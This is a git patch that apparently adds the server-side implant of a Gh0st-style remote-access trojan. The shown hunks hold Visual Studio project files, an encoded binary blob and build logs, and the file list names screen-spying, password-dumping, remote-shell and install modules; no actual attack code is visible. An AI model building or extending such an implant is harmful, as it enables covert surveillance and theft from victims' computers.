From e1bbb1530f42b0f22388bf6b5370184afc173892 Mon Sep 17 00:00:00 2001 From: changcheng <1109692332@qq.com> Date: Fri, 22 May 2020 00:56:51 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E6=B7=BB=E5=8A=A0=E4=BA=86gh?= =?UTF-8?q?ost=E6=9C=8D=E5=8A=A1=E7=AB=AF=E7=9A=84=E4=B8=BB=E8=A6=81?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=EF=BC=8Crelese=E7=89=88=E6=9C=AC=E7=8E=AF?= =?UTF-8?q?=E5=A2=83=E7=BC=96=E8=AF=91=E9=80=9A=E8=BF=87?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CcMainDll/.vs/CcMainDll/v15/.suo | Bin 40448 -> 98304 bytes CcMainDll/CcMainDll/CcMainDll.vcxproj | 83 ++++++++- CcMainDll/CcMainDll/CcMainDll.vcxproj.filters | 93 +++++++++++ .../Debug/CcMainDll.Build.CppClean.log | 17 -- CcMainDll/CcMainDll/Debug/CcMainDll.log | 47 ++++-- .../CcMainDll.tlog/CcMainDll.lastbuildstate | 2 +- .../Debug/CcMainDll.tlog/unsuccessfulbuild | 0 CcMainDll/CcMainDll/DynamicAPI.h | 29 ++++ .../Release/CcMainDll.Build.CppClean.log | 46 +++-- CcMainDll/CcMainDll/Release/CcMainDll.log | 115 +++++++++++-- .../CcMainDll.tlog/CcMainDll.lastbuildstate | 2 +- CcMainDll/CcMainDll/common/AudioManager.cpp | 2 +- CcMainDll/CcMainDll/common/AudioManager.h | 3 +- CcMainDll/CcMainDll/common/Dialupass.cpp | 1 + CcMainDll/CcMainDll/common/FileManager.cpp | 11 +- CcMainDll/CcMainDll/common/Manager.cpp | 2 +- CcMainDll/CcMainDll/common/Manager.h | 2 +- CcMainDll/CcMainDll/common/ScreenManager.cpp | 3 +- CcMainDll/CcMainDll/common/ScreenSpy.cpp | 8 +- CcMainDll/CcMainDll/common/ScreenSpy.h | 2 +- CcMainDll/CcMainDll/common/ShellManager.cpp | 2 +- CcMainDll/CcMainDll/common/SystemManager.cpp | 5 +- CcMainDll/CcMainDll/common/VideoCap.cpp | 4 +- CcMainDll/CcMainDll/common/VideoManager.cpp | 4 +- CcMainDll/CcMainDll/common/VideoManager.h | 2 +- CcMainDll/CcMainDll/common/install.cpp | 1 + CcMainDll/CcMainDll/common/loop.h | 5 +- CcMainDll/CcMainDll/dllmain.cpp | 157 ++++++++++++++++++ common/Audio.cpp | 6 +- common/CursorInfo.h | 4 +- 30 files changed, 553 insertions(+), 105 deletions(-) delete mode 100644 CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log create mode 100644 CcMainDll/CcMainDll/Debug/CcMainDll.tlog/unsuccessfulbuild create mode 100644 CcMainDll/CcMainDll/DynamicAPI.h diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index 70b3d99d6b4b538fad4e5266068f986784ed3947..8875fa030a88f74aa8a1b1ca6445d9d83414f302 100644 GIT binary patch literal 98304 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 E543QKcmMzZ delta 4248 zcmd5e256@EuZvMfJ=jAR2gCdLS`u@I7XVI^S=;Yq?O!fHY_p@vXPuoHN52i5h21_CRymg;$gMnV(eDFV;So~pS`W%&6Y zg%w>ht)}^J>Cm``g|vQju#TcSHo8h({zc((60zZ8Vv#qXzFfkO_tA7-6QLCs2vZ6a z{-+8=Ch89ZY79@JRiOz#qrvrtQYo(v%$c2npMHP-X4Ph?es0InKg_$_w0z?@j`SGu z`qmr_28Q%$V{iZMm%o1VY{6TT8_W*(2lC*YzA*lNg$bWtu_W@>`s={Ss5(!oBHqnz z68Yo>)Z-e-Fc_TQjF+=)I5EFj2b@Vur;X+u4*MPQD$e)BDnG4K*hp(7{@w4?aCRjI zdz*Cv$06roOsYCfog;YHaD_j2!UeR@xL#aNQV!?XH1$#Hv?_2gV;#>+eSx}l9NYMh z+6J9GEr)us=_)IA8gQVlNn}=-pEQIMbxzSj0?vfkd<@#1_>(LvPT2LRG+ug4UG^*L zl=!*5QDizYPutJo6q&0`$-)UovkI6(u{p4qY?Pv|qRx96I9R_<2Qm7K=_E(7fOm_p zX_#_jVw@;(DpQg+!C)yFy*mT*%J#6z6>BTj6rarU4UP@uY!(A?ujF z=FWZNy;ZPE8momYd~0U`#k=*CMe!JM*d)hfu-7TxAAO=6eWVzdaFIh~8fTh}TPavX zw&UK4Wa&gvi-xb9#I#~Le&+GD!WqGZ0EjqA+2Bh9XD8ms?3GAfR#mc&VpAW~~7W}y<6;BP6sQSBu z+q>{Jk2$-jqS#zi7G3%xEp1rYzH4BM-`{RmU~S`&$ehQj@KuR7ZfB|P0EJNGPr*#U zSKC@J#ZZW~?=HpHJ^3n|&0JKDI;$0L-qy1ut->19w*%++3etRmExWvXdICEw+wiwu z8~9j?=iDh8R?!=rud*CPZ3pkK6f zWBTS&4f$R!2$l*B5AoxQJD8_1VoQe^dn=6?crF)nJH_-{pG;1&k-5nG;Ej$I;Yy=+ zQEXQ=E>swGokEw;FT5ytnNhI1G7n7(J&sm3W6^=xIQw9>ENoR(-sw!M22@Xl3nF$WY=F_UieYl2|4(9fJ}@9zrs2S_g97FVY9;a<>7Z|;Xo z?S^YwmeR9RG7mwSG*%AzbgwB_J+-|v(9_rB3tAk3?Yq5!rtLusA5nwH+C0)M4;0|h zzHBM97Symqx={xnX>29Tm;TZR`yeQd)I+ayYZGX3G?X(>JC&xLe*elfE8FdzZtt$1 zpts#Fh4wHgFvbyER zfFHFQBgXcRQl>=%8;45ak@2;oA4Jw4$N=(ax~`nw)}{0|FQSX=CA?Hw8~5)gG@B3p zfPam2W%S@X2U}-V$&dHF^rW}Z23D*-^a`Fovikht)w1iguGU&Ajh*$|F!X9D?LE4@ z+5c+cjky1b%c5EJTF3%tlEn#%8-G0?Z@t_khd|nyvP7&*<42w~aWXoK`SeS-^Aj`U zarW>pE7gMI;Ui*_3(I8sHT4lk(Z&x}8rv^5#^!N}yxYY~ zHn;#VixSeHaGZ`Chio7f6v8YhnKH@DMC;-kg>Vis`3)H@nPdDXjGsJ-l)B$;`ecEP zt~BY7ZYYq7-QbYcwL-PD#|>+w7d+6!3E+}Gc0sOms0EhDJe%WNBqm){a;m1r1sBI{ zaGvut1J1@z5cN+bUAoKx)JwD??|kJ51KVb?7X z2X@hmhF^@0f;2t^)fYF{!X}W4>@b(p`Zy=NbbSrfXt&WMR>Lpgm#y7WdnNcE$tKe8 z>cM(8^b#mkQ8IG1RY_w*P!qfD9(cmZ1fe&S;DcC(&_=Z9j=Hm0`qT{zrd&J-!|dYq F{{#f)P7MG6 diff --git a/CcMainDll/CcMainDll/CcMainDll.vcxproj b/CcMainDll/CcMainDll/CcMainDll.vcxproj index 0c96318..d6ea52e 100644 --- a/CcMainDll/CcMainDll/CcMainDll.vcxproj +++ b/CcMainDll/CcMainDll/CcMainDll.vcxproj @@ -89,16 +89,17 @@ Disabled false WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) - true + false pch.h MultiThreaded + /Zc:stricStrings %(AdditionalOptions) Windows true false - ..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies) - /SAFESEH:NO %(AdditionalOptions) + ..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies) + /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions) @@ -129,9 +130,10 @@ true false WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) - true + false pch.h MultiThreaded + /Zc:stricStrings %(AdditionalOptions) Windows @@ -139,8 +141,8 @@ true true false - ..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies) - /SAFESEH:NO %(AdditionalOptions) + ..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies) + /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions) @@ -167,29 +169,98 @@ + + + + + + + + + + + + + + + + + + ..\CcMainDll\CcMainDll\pch.h + NotUsing NotUsing NotUsing + + ..\pch.h + NotUsing NotUsing NotUsing + + ..\pch.h + ..\pch.h + + + ..\pch.h + ..\pch.h + NotUsing + NotUsing + /Zc:strictStrings %(AdditionalOptions) + /Zc:strictStrings %(AdditionalOptions) + + + ..\pch.h + + + NotUsing + + + NotUsing + + + ..\pch.h + + + NotUsing + + + ..\pch.h + ..\pch.h + + + ..\pch.h + + + ..\pch.h + ..\pch.h + + + ..\pch.h + NotUsing NotUsing NotUsing NotUsing + + ..\pch.h + + + ..\pch.h + Create diff --git a/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters b/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters index e83915b..35d4f82 100644 --- a/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters +++ b/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters @@ -30,6 +30,54 @@ 头文件 + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + @@ -47,5 +95,50 @@ 源文件 + + 头文件 + + + 源文件 + + + 源文件 + + + 头文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + \ No newline at end of file diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log deleted file mode 100644 index 5664370..0000000 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log +++ /dev/null @@ -1,17 +0,0 @@ -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj -f:\myapp\ccremote\ccmaindll\debug\ccmaindll.ilk -f:\myapp\ccremote\ccmaindll\debug\ccmaindll.dll -f:\myapp\ccremote\ccmaindll\debug\ccmaindll.pdb -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log index 4cb6006..0d90e97 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log @@ -1,22 +1,35 @@ - pch.cpp +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + pch.cpp +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” ClientSocket.cpp -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): 